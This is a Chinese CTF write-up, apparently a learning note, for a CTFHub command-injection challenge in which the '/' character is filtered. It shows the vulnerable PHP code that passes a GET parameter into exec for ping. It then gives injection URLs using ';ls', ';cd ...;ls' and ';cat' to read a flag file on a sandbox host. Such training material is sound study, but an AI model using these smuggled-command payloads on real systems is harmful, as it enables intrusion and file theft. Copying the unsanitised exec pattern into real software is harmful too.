CTFHub

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习，实训平台。提供优质的赛事及学习服务，拥有完善的题目环境及配套 writeup ，降低 CTF 学习入门门槛，快速帮助选手成长，跟随主流比赛潮流。

0x01 题目描述

过滤目录分隔符：

        这次过滤了目录分割符 / ，你能读到 flag 目录下的 flag 文件吗？

0x02 解题过程

Ⅰ检查网页源代码发现这题如果用户输入 / 或 \ 就不会执行，说明这题对斜杠做了过滤处理。这里使用 HackBar 进行测试，在 URL 后输入 /ip=127.0.0.1 对本地进行 ping 命令测试，发现可以正常回显。

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

Ⅱ在 URL 后加入参数分隔符号，输入 ls 命令进行查看，同样发现一个提示 “ flag 在这” 。说明 flag 可能在这个文件中。

http://challenge-d6bf92a0dd3e5ca9.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls

Ⅲ继续使用参数分隔符号先使用 cd 命令打开文件，然后使用参数分隔符号加上 ls 命令查看文件中的内容。发现一个文件 flag_20743606830887.php ，可能含有 flag 。

http://challenge-d6bf92a0dd3e5ca9.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;ls

Ⅳ将 ls 命令替换成查看命令 cat 查看 flag_20743606830887.php 文件，在网页回显中发现一个空白回显。

http://challenge-d6bf92a0dd3e5ca9.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;cat flag_20743606830887.php

Ⅴ检查网页源代码，在空白回显对应的源代码中发现此题 flag 。

0x03 过滤目录分隔符

        过滤目录分隔符是对文件路径中的目录分隔符，如斜杠 / 或反斜杠 \ 过滤或去除。这样做可以避免一些安全问题，比如，路径遍历攻击以及路径注入攻击等。

常见的 URL 绕过字符使用方法：

0x04 总结

文章内容为学习记录的笔记，由于作者水平有限，文中若有错误与不足欢迎留言，便于及时更正。